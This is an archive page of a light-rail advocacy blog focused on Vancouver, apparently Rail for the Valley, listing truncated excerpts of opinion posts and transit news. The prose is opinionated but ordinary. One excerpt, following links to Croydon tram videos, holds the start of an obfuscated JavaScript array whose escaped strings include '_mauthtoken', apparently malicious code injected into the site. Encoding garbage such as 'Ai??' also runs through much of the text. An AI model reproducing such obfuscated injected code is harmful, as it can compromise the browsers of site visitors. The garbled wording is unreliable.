The following from Ed Tennyson, who is the foremost transit expert and historian in the USA, is a reply to a news story that Seattle suburban residents like the LRT but do not particularly like buses very much.
Buses, for what ever reason, just do not ...

It seems the CPR is going to resurrect the Arbutus Line for freight and the wails of "shock and disbelief", from Vancouver's creme de la creme are echoing through the halls at city hall.
Get real folks, the CPR did not abandon the railway and th...

There is a reoccurring theme from the SkyTrain trolls at TransLink and the city of Vancouver that LRT can't operate at close headway's and one can hear the wailing and gnashing of teeth when they are corrected. "Lies", they scream in unison, at every c...

Vancouver wants a subway and its mayor will say anything to get the province to pay for one under Broadway.
There is an old Hungarian saying; "When the gypsies knock at the door, rush out and protect the chickens." Updated, the saying should say, "Whe...

Why did the streetcars disappear, there many reasons and this news item may shed a little light from 50 to 60 years ago.
"Who Killed Public Transportation in Los Angeles?
Posted on 03 May 2014 by Craig Fitzgerald
With Elon Muskai??i??s Hyperloop maki...

From the "Railway Gazette", urban news for April 2014
Tokyo Metro has signed a technical assistance memorandum of understanding with Hanoi Metropolitan Railway Management Board.
Brazilian President Dilma Rousseff has announced R$3Ai??8bn of public tra...

From from 2009
Article from the March 1999 edition of Tramways & Urban Transit
As anyone involved in a British light rail scheme knows, the appraisal system is rigorous and, many feel, fatally flawed, oriented as it is to short term and financial ...

Nothing new here as TransLink fumbles along trying to operate the Transit system.
The important question is: "Should we pay more taxes for more of the same?"
The problem with Translink is that transit operation is not provided on a sound economic mode...

In Vancouver, we think of trolleybuses as a holdover from the streetcar days; a sort of green transit system used primarily in Vancouver and a few other cities in North America. What was once the replacement for the streetcars, are themselves seeing wa...

SkyTrain is on the fritz again. The problem with proprietary transit systems is that they age very poorly.
SkyTrain delayed by communication system disruption
Vancouver Sun March 28, 2014
METRO VANCOUVER - TransLink says there are system-wide ...

One of the big advantages touted by the then Social Credit government for the SkyTrain ALRT system, was that is was an automatic transit system and being driverless could not go on strike.
Ha, ha, ha, the joke is on TransLink, as the 537 SkyTrain opera...

You just got to hand it to Vision(less) Vancouver and its lap-dog bureaucracy in finding ways to discredit the heritage streetcar.
The Olympic Line, which operated just two Bombardier Flexity trams (3050 & 3051), had about 550,000 boardings in its...

The difficulties of making subway lines run at a profit have existed for over ten years and, up until now, no solution has been found.
It's obvious that simply relying on revenue from ticket sales is not enough to cover the sizable operating costs.
Att...

The SkyTrain/metro Lobby remain mute on the long term fiscal effects of operating subways, especially on routes that have low ridership, say less than 15,000 pphpd.
Building a subway is a very expensive proposition and many factors should be considere...

What happens to old transportation technology?
It becomes less valuable than scrap!
The Birmingham airport MAGLEV was cutting edge transportation technology in 1984 (two years before the SkyTrain Expo Line opened) but by 1995 was scrapped as obsolete....

Some politicians 'get it' and many other don't; the same goes with regional transportation planning.
Delta's Mayor, Lois Jackson clearly doesn't get it. The proposed Massey Tunnel replacement bridge will not solve congestion, only move it a few kilomet...

When you do expensive jobs on the cheap, s**t happens.
Looks like the guideway fell off its bearings, I wonder why?
Coquitlam road closed by incident involving 300-tonne guideway at Evergreen Line construction site
Ai??By TIFFANY CRAWFORD, VANCOUVE...

With BC Transit quoting silly prices for LRT in Victoria and TransLink doing the same in Vancouver and Surrey, the following article from Bloomberg should be essential reading. As the previous post has shown, modern LRT/streetcar can be built cheaply, ...

FRANCE: Tram-train services on a 64 km route linking Nantes and ChA?teaubriant are launched by SNCF on February 28.
Opening on 28 February a new tram-train service is now operational on the reopened regional railway between Nantes and ChA?teaubriant. ...

The Moonbeam Line is an apt name for the for Vancouver Mayor, Gregor Robinson's pet Broadway subway project, as the subway planning has a foundation of stuff and nonsense.
This hokumAi?? that a subway would be of "national significance", is pure hoopla...

ai???The Transitwayai??i??, in Ottawa, is one of the most successful Bus Rapid Transit Systems in North America. However with the increase of traffic and demand the Council has decided to develop the Bus Rapid Transit System into to a Light Rai...

What hutzpa!
The Broadway subway a transit project of national significance, really? I think Mayor Robinson thinks that the taxpayer are rubes.
According to our friend, Mr. Haveacow,Ai?? Broadway's peak demand numbers on average of 2000-3700 passeng...

Which light rail Ai??projects should we be watching this year? Here are just 5 of the many projects developing around the world.
They are at different stages and may have different reasons you should keep an eye on them, for example, to find out who wi...

Light Rail for Liveable Cities
A UITP POSITION PAPER
http://www.uitp.org/sites/default/files/cck-focus-papers-files/01%20LIGHT%20RAIL%20FOR%20LIVEABLE%20CITIES.pdf
In countries where tramways had survived the massive closures of the 50ai??i??s and 60a...

Recent study results of subway-LRT investment costs posted on the Light Rail Now (LRN) site provide a sobering reality check on the cost issue.
http://austinrailnow.wordpress.com/2014/02/15/subway-cost-per-mile-nearly-9-times-higher-than-for-light-rail...

A pleasant surprise in the Delta Optimist, Zwei's home town paper, a light rail friendly article. Though I hate the term Light Rapid Transit, because I believe it is used deliberately to misinform people.
The comment by Delta-Richmond East MP Kerry-Lyn...

Alas, poor TransLink, I knew it Ken.
As the Vancouver Sun article alludes to the fact that, we paid a lot of money for vanity rapid transit projects and that my friends is why TransLink is in the financial glue it finds itself in today.
Zwei has known...

From a group that claimed it would not talk about mode, the the Urban Land Institute, backs a subway and says "avoid light rail".
Zwei knew from the beginning this was nothing more than an elaborate set up to support Vancouver's demand for a subway an...

Oops, the transit system that never breaks down, according to the SkyTrain lobby was on the fritz again.Ai?? A stuck train caused transit chaos Wednesday afternoon, not a train that has broken down, mind you, a stuck train (glue on the tracks?).
Well, ...

The fiery independent columnist Liz James is one of the few scribes that is willing to take on the TransLink behemoth with other than the political correctness that follows the issue. David Cockle, mentioned in Ms. James piece, is the very same David C...

Well Zwei told you so, the failure to plan for an affordable public transit alternative for the car has helped create this crisis and no one in charge seems to understand what the real transportation problems are in the region.
While Victoria and regio...

The problem it seems is that the Urban Land Institute seems to be more interested in land development more than anything else and certainly do not seem to be transit experts as the news article portrays them to be.
On the thorny question of what kind o...

The title refers to the $157,000.00Ai?? HUB (a non-profit cycling society) gets from the cash strapped TransLink.
The lesson to be learned is that many people who are nay-saying light rail in Vancouver and/or posting anti tram nonsense are members of ...

Interesting article in the Vancouver Sun that Surreyai??i??s light rail bid could have edge in federal funding over Vancouverai??i??s Broadway subway line.
What is of more importance for Rail for the Valley is the replacement of the decrepit Fraser ri...

It seems if all else fails for the TransLink referendum, scare the people to vote for yes for more money. This is called the politics of fear.
The harsh facts are that three LRT lines in Surrey and a SkyTrain subway under Broadway will not alleviate tr...

The TransLink referendum continues to provide angst with politicians and TransLink and so it should, because both parties really haven't a clue about public transit.
The new Chair of TransLink, Marcella Szel.Ai?? A former Canadian Railway executive and...

From the well duh department, that getting rid of some bus stops can improve service, has been well known for decades.
In Europe bus stops tend to be 350m to 400m apart, but in Vancouver bus stops tend to be 250m to 300m apart, with some examples no mo...

Welcome to the BC Liberal world of transit, where transit or should I say transit mega-projects are a means for winning elections, nothing more.
The Canada Line is a good example, where ten BC Premier wanted to showcase a transit P-3, but the problem a...

Thank you Mr. Haveacow for pointing out the error of my ways.
Well, for the BRT crowd, who continue to claim that Curitiba Brazil was BRT heaven, it must come as a shock that they are building LRT in the city of Cuiaba, Brazil. Remember, the Curitib...

An overlooked benefit of streetcars is the reduction in noise pollution associated with bus and car traffic. In fact, some pedestrians in Prague say the newest streetcars from Skoda are too quiet!
Latest streetcars in historic Prague.
An article from ...

A summary of the latestAi??EuropeanAi??Tram Train developments at the end of 2013.
UK - Manchester:
Transport for Greater Manchester (TfGM) has created new plans which could see specially designed vehicles running on both street tracks and train track...

Maybe, just maybe that the expected numbers of people expected to take the Canada line to YVR was grossly overestimated to secure YVR's money for a light-metro/subway connection to Vancouver.
YVR contributed about $300 million to the Canada Line on the...

THREE consortia have submitted bids to the Regional Municipality of Waterloo, Ontario, for the $C 536m ($US 505m) PPP contract to design, build, operate, and maintain the city's first light rail line.
http://www.railjournal.com/index.php/north-america...

It seems you can't teach an old dog new tricks, especially ex GVRD types.
Mr. Spaeth has, like many other GVRD/Metro Vancouver types, have deluded themselves that transit has taken cars of the road in Vancouver.Ai?? The reason for declining car use is ...

Is anyone surprised by this?
If you are, you are either residing outside Metro Vancouver or you are living in a bubble, because the taxpayer is maxed out.
The BC Liberal regime of Gordon Campbell has off-loaded so many user fees, taxes and other costs ...

TransLink is renovating several stations on the Expo Line and as always, the real news is what one reads between the lines.
The Expo Line is near its life expiratory date and no, the Expo Line will not disappear in a cacophony of dust and debris, but e...

Every fifteen years or so, the good burghers of Whiterock and South Surrey agitate for the removal of the BNSF tracks that run on the shoreline from the international boarder to Crescent Beach. Not going to happen.
Though safety is the supposed concern...

What the SkyTrain and subway lobbies fail to mention, is that Paris transit authorities are also investing heavily in light rail or tramways. Something that planners should consider, when planning for new transit lines in Vancouver.
Paris inaugurates ...

Not quite a "FastFerry" debacle, but the hydrogen bus scheme was one of dreams, by a premier with very little "cred" in providing affordable public transit.
Zwei knew that the hydrogen bus would flop, because the major companies that provide buses, tra...

Ever how much it costs to build a subway?
The proposed 2.5 km (aprox.) London Northern Line extension from Kennington to Battersea Power Station will cost A?870 million or CAD $1,483.6m or put another way, the proposed subway extension will cost over $...

In Canada transit authorities, unlike their European counterparts, tend not to do maintenance until it is absolutely necessary to do so. This means customer affecting break downs do occur and when they do, the transit customer is ill served.
Older tram...

Sad to see that the best UBC can do is to copy failed 1950's planning philosophy for the 21st century for Vancouver.
In North America, subways are seen as the the great transit philosopher's stone to solve all transportation problems - if you do not ha...

Zwei has been warning about this for several years, and now, now someone has noticed?
I'm sorry, but I just do not see any improvement in our regional transit chaos, until someone has the moral fortitude to put a wooden stake through the heart of SkyTr...

One wonders if we had a TramTrain service from Chilliwack to Vancouver, would it reduce the chances ofAi?? major accidents, especially in icy weather?If a major closure of Hwy. 1 does happens, would not a Chilliwack to Vancouver TramTrain service offer...

So?
What else is new?
The provincial and regional governments have spent over $9 billion on three mini-metro lines that have done nothing to alleviate congestion; it will be dAi??jAi?? vu with the Evergreen Line and TransLinks still wants more taxpayer...

As SkyTrain ages, breakdowns become more numerous. It is the bane of most proprietary transit systems.
SkyTrain switch problem causes headache for ridersThe issue in the King George area has been fixedNews1130 Staff November 6, 2013
SURREY (NEWS113...

Well, here we go again, new numbers from TransLink clearly shows that the much touted Compass Card is $23 million over budget and Cubit Industries will be paid $12 million annually to operated the system - more money than was thought lost through fare ...

Well, Bombardier can build light rail and award winning LRT at that, which is something that will be hard to admit in Vancouver.
The Porto Metro uses Bombardier's (ABB) Euro and Flexity trams in a combination of subway and at-grade rights-of-ways and t...

From the Railway Gazette.
The Swiss city of ZA?rich has approved a new suburban 13Ai??4 km tram line, the Limmattalbahn light rail line which would link the ZA?rich suburbs of Altstetten, Dietikon and Killwangen-Spreitenbach.
The project is backed by t...

Once again, SkyTrain breaks down and during rush hour too!
This nonsense of having only one metro line to service downtown Vancouver, demonstrates just how bad TransLink's planning is - one breakdown and the system fizzles.
From CKNW Radio News
http:/...

Not bad for a career bureaucrat who has no background in public transit. Maybe a little thrift in TransLink's senior bureaucrats stipends, would translate to a little thrift in operations, resulting in realistic planning, financingAi?? and operation.
F...

New technology will make trams safer and here is a lesson to be learned. Modern light rail, trams and streetcars are constantly evolving, into a safer and and more convenient transit mode. There is no such evolution with SkyTrain as it is essentially t...

There is a misconception by Vancouver politicians and engineers; TransLink's planners and bureaucrats; Ministry of Transportation bureaucrats; and The Minister of Transportation and the Premier, that subways are rather cheap to build.
TransLink has for...

The pro transit group GetOnBoard BC (well Rail for the Valley is a pro transit group as well) wants a yes vote in the upcoming TransLink referendum, but they seem to be a little naive about public transit in general and firmly believe that the more mo...

Exactly what Zwei has predicted!
The BC Liberal Fraser River crossing spells the death knell of the BC Agricultural land Reserve, regional transit planning, and metro transportation planning. This bridge is all about satisfying McQuarrie, SNC Lavalin, ...

Like a death dirge, the TransLink referendum drags on and on, yet the provincial Premier is steadfast on the question of a funding referendum for TransLink.
The regional mayors are more and more making fools of themselves wanting one of many tax propo...

More fallout from the Premier's announcement about the bridge replacement for the Massey tunnel.
Richmond Mayor, Malcolm Brodie, demand for a mini-metro instead of light rail has condemned Richmond of any chance of having "rail" transit extended in ...

A letter sent this week to South Fraser mayors and councils and to the media.
One wonders how TransLink and its surrogates will respond?
Zwei
The following email was sent out to South Fraser mayors and councils, warning of Translink hyperb...

Gordon Price has entered the TransLink fray and with gusto, blaming Jordan Bate of having the audacity to ask for "none of the above" on the ballot in the upcoming election. Without a "none of the above" on the ballot means the much ballyhooed TransLin...

A re-post from 2009.
Tom Prendergast, who was briefly CEO at TransLink, left (or was forced out) after just over a year at the post because of the Skytrain lobby. The SkyTrain Lobby still holds great sway with transit planning in Metro Vancouver, which...

In an obvious headline grabbing event, a near dormant transit group, proposes a 0.5% sales tax to fund TransLink.
Big mistake.
The problem with transit in the Vancouver Metro region is TransLink itself and its firm belief that the more money one spends...

Really, one is almost speechless, watching TransLink imploding under one bad decision after another.
Message to BC Minister of Transportation, Todd Stone; "Quit your hiding in Kamloops and put a stop to TransLink's ongoing nonsense." It is time for re...

Next stop Rotherham: Sheffieldai??i??s new Tram Trains
15 Aug 2013
The concept of Tram Train is a vehicle that operates as a tram on the tramway and a train on heavy rail, offering a seamless journey to the passenger into the heart of city...

From the South Delta Leader.
EDITORIAL: Compass Card blunder will cost TransLink
By Editorial - South Delta Leader
Published: August 16, 2013
With TransLink set to role out the new Compass Card fare system next year, comes word this week that after...

One has to laugh and cry at the same time. Right on the heels of the discovery that when the Compass Card regime comes into being not allowing bus transfers on the SkyTrain and Canada Line light-metro systems, TransLink's top bureaucrats are getting p...

..........................don't be surprised at the results.
The new Compass fare card/fare gate regime, imposed on TransLink by the BC Liberal government, now means that bus transfers will no longer be accepted on SkyTrain!
Where did I learn about thi...

This recent piece in the Surrey Leader make for unpleasant times at the 'House of TransLink'.
TransLink is broken and all the provincial politicians and all the civic politicians can't put TransLink back together again.
OPINION: Who's behind the wheel...

The Vancouver Sun is back shilling for TransLink and 'road-pricing'; too bad, because TransLink seems to be wanting to do the same old expensive and unworkable transit planning, which has failed in the past; expecting different results this time. Not g...

An official video promoting the new Stadler trams and Croydon Tramlink.
http://www.youtube.com/watch?v=mR-paeQhIXU
and http://www.youtube.com/watch?v=cRMvP-WC0ms
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66...

Ai??koda Transportation won the tram tender in Bratislava
PlzeA?/Bratislava, 18. 7. 2013 ai??i?? Today, the company Ai??koda Transportation signed the contract for the supply of trams for the Slovakian metropolis Bratislava. It concerns fifteen two-w...

Liz James is one of the few columnists in the region that has taken the times to research our local transit fiasco and she has well demonstrated that she understands the issue. Unlike the mainstream media, which collectively have not done much research...

Justin Bernard, who reads the RftV blog offered a link yesterday about the Scarborough ICTS/SRT which deserves a post of its own. What was considered cutting edge transit technology in the 70's, is now considered somewhat obsolete today; somewhat like ...

Old interurban sparks interest in rail for the Fraser Valley
Light rail transit proponents want to bring it back
Mike Lloyd June 27, 2013 8:12 am
NEWS1130 ai??i?? In Surrey, the resurrection of a section transit line from the first half of the last ce...

Taken from the National Geographicai??i??s Journeyai??i??s of a Lifetime ai??i?? 500 of the Worldai??i??s Greatest Trips
http://shop.nationalgeographic.com/ngs/browse/productDetail.jsp?productId=6200125&categoryId=A026&addFacet=9004:A026&na...

A pertinent question posed on one of the Light Rail discussion groups, particularly relevant in relation to Skytrain & the City's of Surrey and Vancouver.
A selection of answers:
1) Very simple. Because it is more expensive. There is nothing as pre...

CFRA News-Talk Radio posted this report on April 22nd about a possible alignment for the leg of the Ottawa starter light rail line west of downtown.
http://www.cfra.com/News/Ottawa-Regional-News/City-likes-tunnel-under-Richmond-Road-for-next-pha
The ro...

The Honolulu High-Capacity Transit Corridor Project (HHCTCP) is the official name for the plan to construct an elevated rapid transit line serving the City and County of Honolulu on the island of Oahu.
http://www.honolulutransit.org/
The line will use ...

The Friends of Rail For the Valley Society has come out with some nice brochures ahead of the provincial election! Much credit goes to Robbin Yager for designing these brochures.
RFV1FAi??-Ai??This is a one-fold brochure, 11x17 inches, B&W
RFV1Fcmy...

MEETING THIS WEDNESDAY
This is a pre-election call-out. We're going to do a big push to get light rail back on the agenda for this election. Join us! Regardless of whether or not you can make it to the meeting this Wednesday in Chilliwack, please email...

To all supporters of Rail for the Valley,
The election is just around the corner! Our Society has been hard at work on some ideas for the provincial election. If you want to get involved and put regional rail service for the Fraser Valley on the map th...

THE TRAMWAY REVIVAL IN FRANCE
http://www.developpement-durable.gouv.fr/IMG/pdf/Tramway_GB.pdf
Currently, eighteen French urban areas have at least one tramway line and by 2014, nine more towns will have opened their first lines. In France, the organis...

NO, HUMAN MANAGEMENT IS NOT PERFECT but neither is automated management. Records prove the safest way to go is to have automatic safety controls that will override a human mistake, such as 1920 style automatic train stop. It is much safer to rely on an...

The Cardinal is confident that friends & colleagues in Vancouver will take satisfaction from knowing that European Light Rail & at-grade tramway systems are providing a faultless public service this winter.
Images of Croydon (London) Tramlink A...

Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??
The first journey on the London Underground was made 150 year...

From the International Railway Journal
http://www.railjournal.com/index.php/light-rail/canadas-light-rail-renaissance.html
Light rail is experiencing a renaissance in cities throughout Canada with various new lines planned and some currently under con...

In March & April 2011, the Cardinal wrote two articles for the Blog; `The Emperor has no Clothes and no Transitai??i??Ai?? http://www.railforthevalley.com/news-articles/the-emperor-has-no-clothes-and-no-transit/ Ai??Ai??and `Pushing a wooden stake ...

They're coming. They're actually now being built, not just planned, not just proposed. Streetcar lines are back.
From Railway Age; http://www.railwayage.com/index.php/blogs/doug-bowen/streetcars-belong-part-2-even-in-the-us.htmlAi??
Streetcars are s...

In other words a few inches of snow doesn't stop @ grade LRT/street level Tramways; a foot and so long as the snow sweaping is effective the LRV/Trams keep on operating.
Croydon Tramlink
TransLinkai??i??s bus company is expensive, inefficient and dysf...

SkyTrainai??i??s Expo Line was built in 1985 and opened in time for Expo 86 with 20 stations connecting Waterfront Station in Vancouver and King George Station in Surrey.
Between 1985 & 2012; One Hundred & Fifty One full service tramways have ...

All too often public transit advocates are refused access to politicians, in Britain the Light Rail Transit Association LRTA has been instrumental inAi??the setting up of a forumAi??where ministers and their advisors can meet with the industry leaders,...

Light Rail Fits in, that is unless you live in Vancouver where corruption, Canadian Transit Politics and incompetence threatens logic and commonsense
Of all the modes of transport electric railways have proven to be the most successful in providing an ...

Portland sometimes struggles to find the right balance between car use and alternative modes of transportation. Striking the balance will require tough choices as population and housing density increase. Michael Lloyd/The Oregonian
http://www.oregonliv...

A tale of two marine citiesai??i??
Bordeaux & Vancouver have much in common
Ocean location
Temperate climate
Situated on a major tidal river
A large natural seaport
Extensive transport links, river, rail, air & road to the hinterland
...

What's not to love about riding the rails?
BY JON FERRY, THE PROVINCE JULY 6, 2012
Photograph by: Graphics , The Province
I have few grand passions in my life, but train travel is one of them. A train journey can be frustrating (I once spent an entire ...

Both Stephen Rees http://stephenrees.wordpress.com/2012/04/11/is-it-time-to-bring-back-the-streetcar-to-vancouver/
and Voony http://voony.wordpress.com/2012/04/16/is-it-time-to-bring-back-the-streetcar-to-vancouver/Ai??
The motion has been launchedAi??...

In a letter to the Langley Advance, a spokesman for "SkyTrain for Surrey" says adding surface light rail to the Vancouver area rail transit system will "corrupt" the efficiency and cost recovery of the existing rapid transit system:
http://www.langleya...

In a meeting room in Scarborough earlier this month, Mayor Rob Fordai??i??s grand plan to ride to re-election on subway promises drift further off track.
It happened deep in the heart of Ford Nation, with a few dozen people gathered in Agincourt for an...

Ai??Germany-based Vossloh has won a ai??i??75m contract from Verkehrsbetriebe Karlsruhe (VBK) and Albtal-Verkehrs-Gesellschaft (AVG) to supply 25 low floor tram trains, with an option for 50 additional trains to be deployed in Karlsruhe, Germany. Under...

Not for the first time, the Cardinal has had to question the decisions ofAi?? provincial transit planners; BC & now Ontario.
In the Record.com http://www.therecord.com/
David Fields, a transit-planningAi?? consultant with Nelson\Nygaard Consulting ...

from Now Toronto
http://www.nowtoronto.com/news/story.cfm?content=186287
In the flap over Torontoai??i??s transit future, we have to recognize that few have had any kind of exposure to light rail. For most of us, subways are our only experience of publ...

Another Canadian politico, deep in the doodoo
the sad fact is SkyTrain, the Canada Line and now the the Evergreen SkyTrain Line are big contributors to TransLink's financial woes. building more SkyTrain only exacerbates the situation.
by Gary Mason - G...

A rather clever sendup of Canadian Transport Planning & PoliticsA fan of Toronto Mayor Rob Ford takes the news of his failure to extend the Sheppard Subway rather poorly.
Clip from the film 'Downfall' aka "Der Untergang" Copyright Ai?? 2004 Constan...

National Post
http://news.nationalpost.com/2012/03/23/subway-or-lrt-downtown-toronto-needs-a-relief-line-ttc-chief-andy-byford/
The real issue for Ford isn't subways, it's keeping the roads LRT-free for cars. He'd rather have no transit whatsoever than...

Mayor Rob Ford is pledging to do ai???everything in his powerai??? to stop light-rail lines from running at street level on Eglinton and Sheppard Avenues in Scarborough.
One day after losing the fight to save his subway plan at council, the mayor said ...

The Toronto Star hates Mayor Ford and everything he wants to do. The Star is Liberal and the mayor is conservative. It has never said anything nice about him. The mayor before him ran on an election promise not to build a bridge to the island airport. ...

http://designinghealthycommunities.org/atlanta-getting-new-streetcar-line/
U.S. Transportation Secretary Ray LaHood, Atlanta Mayor Kasim Reed and local officials have kickedAi??off construction of a new 2.6-mile streetcar line that will run through the...

It was an $8.4 billion question that had simmered all year, but finally boiled over this week at Toronto City Hall during a no-holds-barred debate that may well determine the future of city's transit expansion.*
http://www.theatlanticcities.com/commute...

A Federal Parliamentry Review of Light Rail/Tramway/Transit costs must be carried out!Ai??
Both Fang & Zwei have posted articles in the past weeks on the high costs of Canadian LightAi??Rail, Tramway & Transit schemes. Vancouver, TorontoAi??and...

Make it pleasant? Or make it efficient?
An article in Slate magazine
http://www.slate.com/articles/life/transport/2012/01/jarrett_walker_s_human_transit_are_we_thinking_about_urban_planning_all_wrong_.html
Make it pleasant? Or make it efficient?
by Tom...

An interesting extract from a commentary comparing currentAi??North AmericanAi??practice with European
`In Vancouver, over a decade ago at the grand opening of the heritage streetcar project, a chap from Bombardier singled me out. What he said after a ...

Why the automobile is not ai??i?? and has never been ai??i?? endangered
Jennifer Good ai??i?? The Brock Press (Brock University)
Canadian University Press
http://cupwire.ca/articles/50669
Bike lanes don't slit cars' tires. There's no war zone...

New Toronto Streetcars
http://lrv.ttc.ca/Ai?? is the website from the TTC on the new streetcars.
The Toronto Transportation Societyai??i??s December newsletter has some interesting thoughts on the vehicle as well as photos of the half mock-up. The firs...

Trams and Streetcars "Stuttering & Crapping out" not a chance brother!
As in the winter of 2010/2011 when Light Rail & Trams continued to run across Europe as well as in Calgary, despite heavy snow falls, when Skytrain ground to ...

The Cardinal has recently returned from a short holiday in Budapest, Hungary.
Budapest is a walking city and theSeptember weather makes it ideal to wander around on foot with many cozy cafAi??s and restaurants offering their retreat if needed when temp...

The government has set out its intention to trigger a light rail renaissance in the UK and while specialists welcome the move some are concerned about costs
http://www.guardian.co.uk/public-leaders-network/2011/sep/23/light-rail-renaissance?newsfeed=tr...

Mayor says taxpayers have poured too much into TransLink
SURREY (NEWS1130) - Dianne Watts wants light rail for her city as soon as possible, but would Surrey be willing to pay for it alone?
http://www.news1130.com/news/local/article/280453--surrey-won-...

I must go down to the seas again, to the lonely sea and the sky,
And all I ask is a tall ship and a star to steer her by,
And the wheel's kick and the wind's song and the white sail's shaking,
And a grey mist on the sea's face, and a grey dawn breaking...

Aecom lands early role on Edmonton LRT
http://www.theconstructionindex.co.uk/news/international-construction-news/aecom-lands-early-role-on-edmonton-lrt
Aecom has won a CAD $36m contractAi?? for preliminary engineering on a light rail transit (LRT) exp...

The following happier transit news for Montpelier, is courtesy of David Cockle.
As the SkyTrain lobby still dream a Luddites dream of the world being flat and everyone builds with SkyTrain, more light rail is being built in France.
Why is France so imp...

Austin Cars ExaminerAi?? August 12, 2011
http://www.examiner.com/cars-in-austin/eclectric-hybrid-streetcars-coming-to-austin
A glimpse of the possible future of mass transit in the City of Austin was shown to the public on August 11. Kinkisharyo, a gl...

Due to the small backlash to TransLink's tax increases that were announced on Wednesday, the pro-LRT and pro-streetcar groups were out today promoting surface rail on CTV News as being cheaper and a fitting tribute to a past.Ai??Ai??
http://www....

A column published by The National Post says Toronto has a fetish for
streetcars and what the city really needs is more rapid transit subways to
make it a world class urban area. The commentary compares Toronto with London and its Tube system:http://li...

Angers: before and after the coming of the Tram
Taken from http://www.lineoz.net/forum/viewtopic.php?f=16&t=19049&p=317604#p317604
Ai??
The series of images shows the improvements in the urban environment that the introduction of an at-grade tr...

Public transport is good for your health and your wallet, according to scientists
Switching to public transport could help you lose nearly half a stone a year in weight, new research suggests.
Daily Telegraph
http://www.telegraph.co.uk/health/healthnew...

From the Toronto LRT Information Blog
http://lrt.daxack.ca/blog/
Discussions on Toronto and GTHA LRT Possibilities
Much of this site is devoted to promoting LRT as a viable alternative to Subway for rapid transit expansion within the GTA where capacit...

In the 19th & 20th centuries, Trams & Streetcars were part of the streetscape in towns and cities in Canada, Europe & America.
Studying contemporary postcards, it can be seen how well this form of urban transport fitted in with homes, busi...

The fall out from Surrey Mayor Dianne Watts State of the City report Tuesday, has raged far & wide in the BC papers and on the blogosphere, not unexpectedly much of the debate has centered on the link between transport or transit, development or la...

On April 16th the 11.2 kmAi??Ai?? Light Rail/tramway in the city of Reims, in the French region of Champagne-Ardenne was opened with much publicity.
Reims is the twenty secondAi??Ai??of the new generationAi??Ai??of tramways to be opened in France since...

cambridge-news.co.uk
http://www.cambridge-news.co.uk/Home/You-could-waste-away-waiting-for-guided-bus.htm
Let's make no bones about it – we’re all getting on a bit while we wait for the guided bus to arrive.
But two “passengers&r...

Vancouver is at first glance a beautiful city. It is surrounded by sweeping vistas and a dramatic skyline.
The climate is moderate butAi??spend some time here and scratch the surface and it becomes far less attractive. It is a city that is divided pol...

Time to lead
SIRI AGRELL, LES PERREAUX, WENDY STUECK AND JOSH WINGROVE
Globe and Mail Saturday, Mar. 26, 2011 1:31PM EDT
Commute times in Canadian cities are no longer just a source of rush-hour irritation, but a national liability affecting the econom...

Nostalgia over easy was the order of the day at Sinbad's, a waterfront restaurant in the shadow of the Ferry Building. The talk turned to fern bars, and fast cars, and long lunches in places like Paoli's. Remember the '80s? The men had narrower ties an...

Matthew at Transport Action BC http://transportactionbc.wordpress.com/
writes on March 8th
The April issue of Trains magazine has a special 48 page report on fast trains. It describes new high-speed trains in China, Korea, Taiwan, Japan and Europe, re...

Hamilton, Ontario has for long been promoting a Light Rail system for the city, details of their campaign can be found on the Hamilton Light Rail web site:
http://hamiltonlightrail.com/index.html
Details of the economic case for Light Rail are:
http://...

On 12 December 2010, the first tram-train service in the French region of Alsace commenced. 5000 daily passengersAi??are be able to travel from Mulhouse to Thann on an innovative, ecomobile transport route.
read the article:
http://www.sncf.com/en_EN/h...

Late February has brought a mixed bag of news on Light Rail, Tram, Streetcar, LRT & Transit projects in North America, some positive & some negative. The Cardinal posts a selection of national, local press and on-line Blog reports.
1) Gray: Str...

False assumptions worry rail expert
BY PAUL J. HENDERSON, THE TIMES FEBRUARY 22, 2011
The provincial government's lack of interest in interurban light rail from Chilliwack to Surrey is biased and based on a number of false assumptions, according to a B...

The Canada Line was never about providing good public transitAi??for the region, rather the metro was all about political and corporate prestige. The Vancouver International Airport gang wanted a prestigious metro to connect YVR to downtown Vancouver,...

Nottingham NET Phase 2
Nottingham City Council and Nottinghamshire County Council have negotiated a settlement which will allow the City Council to take the project forward as sole promoter.
http://www.nottinghamcity.gov.uk/netphase2/index.aspx?articl...

The Cardinal has posted a number of news articles on European Light Rail & Tramway developments in the past month; now from the US comes news of two new transit scheme initiatives and developments on a third.
Washington DC
Streetcars on track ...

City centre tram project moves forward
Centro Press release
Work to extend the Metro tram system through the streets of Birmingham city centre took a major step forward today after the Government made more than Ai??A?75 million available for the excit...

Dix in favour of light-rail transit in the Fraser Valley: group
BY IAN AUSTIN, THE PROVINCE FEBRUARY 7, 2011
Advocates for light rail in the Fraser Valley can claim an early victory in their quest to get support from leadership candidates for the B.C. ...

Railway Gazette 04 February 2011
http://www.railwaygazette.com/nc/news/single-view/view/government-confirms-local-transport-project-funding.html
UK: Following a review which has brought a 14% reduction in the total cost, on February 4 the Depart...

From the Tyee.ca http://thetyee.ca/
http://thetyee.ca/Blogs/TheHook/Transportation/2011/02/01/Streetcars-roll-back-into-New-Orleans/index.html
Vancouver canai??i??t hold a candle to New Orleans when it comes to food or music. And now the Terminal City...

Streetcar service along Rampart, St. Claude is getting a green light
Tuesday, January 25, 2011
The Times - Picayune
http://www.nola.com/business/index.ssf/2011/01/streetcar_service_along_rampar.html
More than 20 years after transit officials began expl...

Politicians talking about a split from TransLink
Upset they've become a funding source for projects elsewhere, south of Fraser officials could form own entity
BY SANDOR GYARMATI, THE DELTA OPTIMIST JANUARY 29, 2011
Lack of transit services for the mone...

Railway Gazette
01 February 2011
http://www.railwaygazette.com/nc/news/single-view/view/hudson-bergen-extension-opens-in-new-jersey.html
Ai??USA: A 1Ai??6 km extension of the Hudson-Bergen light rail line south from the former terminus at 22nd Stree...

CALGARYai??i?? From Saturday's Globe and Mail
by Marcus Gee
http://www.theglobeandmail.com/news/national/toronto/marcus-gee/light-rail-that-works/article1887237/
Mayor Rob Ford has left no confusion about how he feels about light-rail transit. One of h...

The Danish Minister of Transport Hans Christian Schmidt will promote a light rail system using the bypass road Ring 3 west to Copenhagen:Ai??Ai??
